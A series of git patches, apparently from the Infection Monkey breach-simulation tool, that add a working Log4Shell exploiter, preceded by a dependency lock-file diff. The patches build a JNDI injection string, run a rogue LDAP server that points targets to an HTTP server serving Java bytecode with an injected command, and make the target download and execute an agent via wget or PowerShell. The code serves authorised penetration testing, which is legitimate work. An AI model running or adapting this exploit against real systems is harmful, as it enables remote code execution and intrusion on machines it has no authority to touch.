"sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", + "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", + "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", + "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", + "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", + "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", + "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", + "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", + "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", + "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", + "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" + ], + "markers": "platform_system == 'Windows'", + "version": "==1.0.2" + }, "typing-extensions": { "hashes": [ - "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e", - "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7", - "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34" + "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", + "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" ], "index": "pypi", - "version": "==3.10.0.2" + "version": "==4.0.1" }, "urllib3": { "hashes": [ @@ -989,11 +1148,11 @@ }, "werkzeug": { "hashes": [ - "sha256:1de1db30d010ff1af14a009224ec49ab2329ad2cde454c8a708130642d579c42", - "sha256:6c1ec500dcdba0baa27600f6a22f6333d8b662d22027ff9f6202e3367413caa8" + "sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f", + "sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a" ], "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "version": "==2.0.2" }, "winacl": { "hashes": [ @@ -1036,11 +1195,68 @@ }, "zipp": { "hashes": [ - "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3", - "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4" + "sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832", + "sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc" ], - "markers": "python_version >= '3.6'", - "version": "==3.5.0" + "markers": "python_version < '3.10'", + "version": "==3.6.0" + }, + "zope.interface": { + "hashes": [ + "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192", + "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702", + "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09", + "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4", + "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a", + "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3", + "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf", + "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c", + "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d", + "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78", + "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83", + "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531", + "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46", + "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021", + "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94", + "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc", + "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63", + "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54", + "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117", + "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25", + "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05", + "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e", + "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1", + "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004", + "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2", + "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e", + "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f", + "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f", + "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120", + "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f", + "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1", + "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9", + "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e", + "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7", + "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8", + "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b", + "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155", + "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7", + "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c", + "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325", + "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d", + "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb", + "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e", + "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959", + "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7", + "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920", + "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e", + "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48", + "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8", + "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4", + "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==5.4.0" } }, "develop": {} From 4d5a2511c6bfcf42f301131778f647e7f00b1132 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Dec 2021 15:13:28 -0500 Subject: [PATCH 03/77] Agent: Add LDAP server for log4shell exploit --- .../exploit/log4shell_utils/__init__.py | 1 + .../exploit/log4shell_utils/ldap_server.py | 90 +++++++++++++++++++ 2 files changed, 91 insertions(+) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index b978afa59..5ffe79e49 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -1 +1,2 @@ from .exploit_builder import build_exploit_bytecode, InvalidExploitTemplateError +from .ldap_server import LDAPExploitServer diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py new file mode 100644 index 000000000..f575f20cc --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -0,0 +1,90 @@ +import tempfile +from pathlib import Path + +from ldaptor.interfaces import IConnectedLDAPEntry +from ldaptor.ldiftree import LDIFTreeEntry +from ldaptor.protocols.ldap.ldapserver import LDAPServer +from twisted.application import service +from twisted.internet import reactor +from twisted.internet.protocol import ServerFactory +from twisted.python import log +from twisted.python.components import registerAdapter + +EXPLOIT_RDN = "dn=Exploit" + + +class Tree: + """ + An LDAP directory information tree (DIT) used to exploit log4shell + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path): + self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir) + self.db = LDIFTreeEntry(self.path) + + self._init_db(http_server_ip, http_server_port) + + def _init_db(self, http_server_ip: str, http_server_port: int): + attributes = { + "javaFactory": ["Exploit"], + "objectClass": ["javaNamingReference"], + "javaCodeBase": [f"http://{http_server_ip}:{http_server_port}/"], + "javaClassName": ["Exploit"], + } + + self.db.addChild(EXPLOIT_RDN, attributes) + + +class LDAPServerFactory(ServerFactory): + """ + Our Factory is meant to persistently store the ldap tree + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + protocol = LDAPServer + + def __init__(self, root): + self.root = root + + def buildProtocol(self, addr): + proto = self.protocol() + proto.debug = self.debug + proto.factory = self + return proto + + +class LDAPExploitServer: + """ + This class wraps the creation of an Ldaptor LDAP server that is used to exploit log4shell. + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + def __init__( + self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path + ): + LDAPExploitServer.output_twisted_logs_to_python_logger() + + registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry) + + tree = Tree(http_server_ip, http_server_port, storage_dir) + factory = LDAPServerFactory(tree.db) + factory.debug = True + + application = service.Application("ldaptor-server") + service.IServiceCollection(application) + reactor.listenTCP(ldap_server_port, factory) + + @staticmethod + def output_twisted_logs_to_python_logger(): + # Configures Twisted to output its logs using the standard python logging module instead of + # the Twisted logging module. + # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html + log_observer = log.PythonLoggingObserver() + log_observer.start() + + def run(self): + reactor.run() + + def stop(self): + reactor.stop() From fddaa169319fdda11919442fc9f9847a681433e7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 21 Dec 2021 15:17:46 -0500 Subject: [PATCH 04/77] Agent: Improve InvalidExploitTemplateError messages --- .../exploit/log4shell_utils/exploit_builder.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py index 5cbc3b9e7..6296884a9 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -1,6 +1,8 @@ import struct from pathlib import Path +# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce + EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template" INJECTION_TAG = "###" @@ -34,7 +36,7 @@ def _load_template_bytecode(exploit_template_path: Path) -> bytes: if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): raise InvalidExploitTemplateError( - f"Trying to load non-compiled Java class `{EXPLOIT_TEMPLATE_PATH}`." + f'The file "{EXPLOIT_TEMPLATE_PATH}" is not a compiled Java class' ) return template_bytecode @@ -44,7 +46,9 @@ def _inject_payload(payload: str, template_bytecode: bytes): payload_bytes = payload.encode() if not INJECTION_TAG.encode() in template_bytecode: - raise InvalidExploitTemplateError(f'No "{INJECTION_TAG}" tag to inject payload into.') + raise InvalidExploitTemplateError( + f'Unable to find "{INJECTION_TAG}" tag in the template bytecode' + ) index = template_bytecode.index(INJECTION_TAG.encode()) From 41b97cb54a00d9e1ea93475c3a89fce3bcc9885d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 22 Dec 2021 17:17:02 +0200 Subject: [PATCH 05/77] TEMP: base implementation of the log4shell --- monkey/infection_monkey/exploit/log4shell.py | 98 +++++++++++++++++++ .../cc/services/config_schema/basic.py | 1 + .../definitions/exploiter_classes.py | 9 ++ 3 files changed, 108 insertions(+) create mode 100644 monkey/infection_monkey/exploit/log4shell.py diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py new file mode 100644 index 000000000..4b58ad396 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -0,0 +1,98 @@ +import http.client +import http.server +import logging + +import requests + +from common.utils.exploit_enum import ExploitType +from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, VictimHost +from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.utils.monkey_dir import get_monkey_dir_path + +logger = logging.getLogger(__name__) + +LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=LinuxExploit}" + + +class Log4jExploiter(WebRCE): + _TARGET_OS_TYPE = ["linux", "windows"] + EXPLOIT_TYPE = ExploitType.VULNERABILITY + _EXPLOITED_SERVICE = "Log4j" + LDAP_PORT = 8080 + CLASS_HTTP_SERVER_PORT = 1337 + URLS = ["http://192.168.56.101:8080/login"] + + def __init__(self, host: VictimHost): + super().__init__(host) + self._client = None + self._stop_http = True + + def exploit_host(self): + + paths = self.get_monkey_paths() + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + if not http_path: + logger.debug("Exploiter failed, http transfer creation failed.") + return False + logger.info("Started http server on %s", http_path) + + commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} + command = self.get_command(paths["dest_path"], http_path, commands) + + java_class = self.build_java_class(command) + class_http_server_ip = get_interface_to_target(self.host.ip_addr) + self.start_java_class_http_server(class_http_server_ip, java_class) + ldap = LDAPExploitServer( + ldap_server_port=8080, + http_server_ip=class_http_server_ip, + http_server_port=self.CLASS_HTTP_SERVER_PORT, + storage_dir=get_monkey_dir_path(), + ) + ldap.run() + + payload = {"username": LDAP_PAYLOAD, "password": "m0nk3y"} + try: + requests.post(Log4jExploiter.URLS[0], data=payload, timeout=5) + except requests.ReadTimeout: + logger.error("Couldn't send request to the vulnerable machine") + return False + finally: + self._stop_http = True + ldap.stop() + return True + + def build_java_class(self, exploit_command: str) -> bytes: + return build_exploit_bytecode(exploit_command) + + def upload_monkey(self, url, commands=None): + pass + + def exploit(self, url, command): + pass + + class HTTPHandler(http.server.BaseHTTPRequestHandler): + + java_class: bytes + + def do_GET(self): + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending payload class!") + self.wfile.write(self.java_class) + + def start_java_class_http_server(self, ip: str, java_class: bytes): + # TODO run this on a separate thread + self._stop_http = False + Log4jExploiter.HTTPHandler.java_class = java_class + + server = http.server.HTTPServer( + (ip, Log4jExploiter.CLASS_HTTP_SERVER_PORT), Log4jExploiter.HTTPHandler + ) + + while not self._stop_http: + server.handle_request() diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 6608cac2c..65d5ec8e7 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -17,6 +17,7 @@ BASIC = { "SmbExploiter", "WmiExploiter", "SSHExploiter", + "Log4ShellExploiter", "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 85cc09014..90f47f48d 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -42,6 +42,15 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/mssql/", }, + # TODO finish description + { + "type": "string", + "enum": ["Log4ShellExploiter"], + "title": "Log4Shell Exploiter", + "safe": True, + "info": "TODO: provide full info.", + "link": "TODO: link to docs", + }, { "type": "string", "enum": ["Ms08_067_Exploiter"], From 1884c6d7678c76cfe94d883798b325f79cf58cc3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 23 Dec 2021 16:45:25 +0200 Subject: [PATCH 06/77] TEMP: base implementation of the log4shell --- monkey/infection_monkey/exploit/log4shell.py | 52 +++++++++++++------ .../exploit/log4shell_utils/ldap_server.py | 5 +- 2 files changed, 40 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 4b58ad396..a5f9e17a5 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,6 +1,7 @@ import http.client import http.server import logging +from threading import Thread import requests @@ -14,21 +15,21 @@ from infection_monkey.utils.monkey_dir import get_monkey_dir_path logger = logging.getLogger(__name__) -LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=LinuxExploit}" +LDAP_PAYLOAD = "${jndi:ldap://192.168.56.1:8080/dn=Exploit}" -class Log4jExploiter(WebRCE): +class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" LDAP_PORT = 8080 CLASS_HTTP_SERVER_PORT = 1337 + DOWNLOAD_TIMEOUT = 15 URLS = ["http://192.168.56.101:8080/login"] def __init__(self, host: VictimHost): super().__init__(host) self._client = None - self._stop_http = True def exploit_host(self): @@ -45,23 +46,35 @@ class Log4jExploiter(WebRCE): java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) - self.start_java_class_http_server(class_http_server_ip, java_class) + + java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) + java_class_http_thread.start() + ldap = LDAPExploitServer( ldap_server_port=8080, http_server_ip=class_http_server_ip, http_server_port=self.CLASS_HTTP_SERVER_PORT, storage_dir=get_monkey_dir_path(), ) - ldap.run() + ldap_thread = ldap.get_run_thread() + ldap_thread.start() - payload = {"username": LDAP_PAYLOAD, "password": "m0nk3y"} + payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"} try: - requests.post(Log4jExploiter.URLS[0], data=payload, timeout=5) + response = requests.post( + Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False + ) except requests.ReadTimeout: logger.error("Couldn't send request to the vulnerable machine") return False finally: - self._stop_http = True + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + http_thread.stop() + + java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True + + ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) ldap.stop() return True @@ -77,22 +90,31 @@ class Log4jExploiter(WebRCE): class HTTPHandler(http.server.BaseHTTPRequestHandler): java_class: bytes + class_downloaded = False + stop = False def do_GET(self): + logger.error("Got a get request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() logger.info("Sending payload class!") self.wfile.write(self.java_class) + Log4ShellExploiter.HTTPHandler.class_downloaded = True - def start_java_class_http_server(self, ip: str, java_class: bytes): - # TODO run this on a separate thread - self._stop_http = False - Log4jExploiter.HTTPHandler.java_class = java_class + @staticmethod + def _run_class_http_server(ip): server = http.server.HTTPServer( - (ip, Log4jExploiter.CLASS_HTTP_SERVER_PORT), Log4jExploiter.HTTPHandler + (ip, Log4ShellExploiter.CLASS_HTTP_SERVER_PORT), Log4ShellExploiter.HTTPHandler ) - - while not self._stop_http: + while ( + not Log4ShellExploiter.HTTPHandler.class_downloaded + and not Log4ShellExploiter.HTTPHandler.stop + ): server.handle_request() + + def get_java_class_server_thread(self, ip: str, java_class: bytes): + Log4ShellExploiter.HTTPHandler.java_class = java_class + + return Thread(target=Log4ShellExploiter._run_class_http_server, args=[ip]) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index f575f20cc..8cad3fba3 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -1,5 +1,6 @@ import tempfile from pathlib import Path +from threading import Thread from ldaptor.interfaces import IConnectedLDAPEntry from ldaptor.ldiftree import LDIFTreeEntry @@ -83,8 +84,8 @@ class LDAPExploitServer: log_observer = log.PythonLoggingObserver() log_observer.start() - def run(self): - reactor.run() + def get_run_thread(self) -> Thread: + return Thread(target=reactor.run, args=[None]) def stop(self): reactor.stop() From e69639b426a65f212a898d097beef25843e58bc4 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 4 Jan 2022 16:09:19 +0200 Subject: [PATCH 07/77] Agent: use separate java classes for windows and linux in log4shell Linux and windows targets should use different java classes, because one is compiled to be launched in /bin/bash, another in cmd.exe. We can't just inject the whole command, because Runtime.getRuntime().exec() interprets the string in strange ways --- monkey/infection_monkey/exploit/log4shell.py | 49 +++++++++++++++--- .../log4shell_utils/Exploit.class.template | Bin 462 -> 0 bytes .../LinuxExploit.class.template | Bin 0 -> 523 bytes .../WindowsExploit.class.template | Bin 0 -> 523 bytes .../log4shell_utils/exploit_builder.py | 12 ++--- monkey/infection_monkey/model/__init__.py | 12 +++++ 6 files changed, 58 insertions(+), 15 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index a5f9e17a5..b7c1b2133 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -7,10 +7,21 @@ import requests from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode +from infection_monkey.exploit.log4shell_utils.exploit_builder import ( + LINUX_EXPLOIT_TEMPLATE_PATH, + WINDOWS_EXPLOIT_TEMPLATE_PATH, +) +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, VictimHost +from infection_monkey.model import ( + LOG4SHELL_LINUX_COMMAND, + LOG4SHELL_WINDOWS_COMMAND, + MONKEY_ARG, + VictimHost, +) from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path logger = logging.getLogger(__name__) @@ -41,8 +52,7 @@ class Log4ShellExploiter(WebRCE): return False logger.info("Started http server on %s", http_path) - commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} - command = self.get_command(paths["dest_path"], http_path, commands) + command = self.build_command(paths["dest_path"], http_path) java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) @@ -59,11 +69,9 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"} + payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"} try: - response = requests.post( - Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False - ) + requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False) except requests.ReadTimeout: logger.error("Couldn't send request to the vulnerable machine") return False @@ -78,8 +86,33 @@ class Log4ShellExploiter(WebRCE): ldap.stop() return True + def build_ldap_payload(self): + interface_ip = get_interface_to_target(self.host.ip_addr) + return f"${{jndi:ldap://{interface_ip}:{Log4ShellExploiter.LDAP_PORT}/dn=Exploit}}" + + # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command + def build_command(self, path, http_path): + # Build command to execute + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=None + ) + if "linux" in self.host.os["type"]: + base_command = LOG4SHELL_LINUX_COMMAND + else: + base_command = LOG4SHELL_WINDOWS_COMMAND + + return base_command % { + "monkey_path": path, + "http_path": http_path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, + } + def build_java_class(self, exploit_command: str) -> bytes: - return build_exploit_bytecode(exploit_command) + if "linux" in self.host.os["type"]: + return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH) + else: + return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) def upload_monkey(self, url, commands=None): pass diff --git a/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template deleted file mode 100644 index 9160de8adf930ed7f9b1b4bc748512642e77d189..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 462 zcmZXQO;5r=5Qg6^g@sza#cxbV4}u4|c!PK$co9D$M$cv4kj2uHvKao6XD(_y_yhb= z#%V)<#68UH%=^4E+5P$b`UY^0V+$Nb3ni4(*p70AV~1mxV~-)#R=&~~42gQF)6!KC$iiE6q=#9Zr#s(t;V#? z8cMw?D)mP1AJd{|$+;8^C-n`ruS4YzTbqWvFc5M&ZJ~w~eOh!3(A$xrXi-(A%qS;M zKfo4rVc4RWiklH=uh33x1#+J-N{M%vPj4`<7BQJ2E=hXi%^^Y2BwrF)nv|uA!{~8R K2+mV!pzsG1(OP2w diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template new file mode 100644 index 0000000000000000000000000000000000000000..dc1ffff7ac575863a6aadbb66f8188d8b379a0cf GIT binary patch literal 523 zcmZWl%TB^j5IwgPZmk6r#0Lt9xBwIF#vR0s!HxKcB^qK}lzM|#u_aIpf8?5t8Wa5h zKgu{o0vPXN=FXWjXC7bQ@1Fqnv8_YLl8zLXIaV~RYFN{d4uExz4UP;)mLXD+uJjKW zLdDW0gL>%Q3Wj)1y5h9|*c9Em-E0%0Rh;&i8MS=dc{s5Gb{v{*|y!5Y5860wivkCl&;ykV^DS-nxjxC7}!FAAvq;i z2af3Y(sPMFmj5Gm*1Q*v&#*Wxx#+vTe585wmhdM*s#vQ1Q0oYf(A*o8$Ol4= zP(rmDY9eek!ik9W0)F)j^>{cUrAb+%UV&H)A+jpcB# zlyQm#Fy6(?oik_7Jifl)KLH%$P=$&O6)9|TY$@1Qu%jUD1G^l192t%*L#SpsmUqGs zD3)#+_}?T75FG zUCS%?j3-0GIy8=)hJEB2Vm?-}4X0bty`klF8MxW+l*NP!rHV;&6bc0m2PiNkm*o1y z6a&w49pcaB|A<|+d&2Y>;>(hovEx~Nl2yCHTLh_Msqv3frNwCi>Rv3~ucUuRtgcpE z4_#A?MpfjoMhEtv1m-VEHcU~5JR=`GdIg)(hao~XGz005h%Ts21ZQaO4N~X>fmR?P z>n%AE)LX$sNPhvpdxm^IosrU{tWYmsEP?=88EF#8l5~tB4(Wj-?)OVjC?WX+5WQ%Y literal 0 HcmV?d00001 diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py index 6296884a9..831ddfc05 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -3,7 +3,8 @@ from pathlib import Path # This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce -EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template" +LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" +WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" INJECTION_TAG = "###" @@ -11,16 +12,13 @@ class InvalidExploitTemplateError(Exception): pass -def build_exploit_bytecode( - payload_command: str, 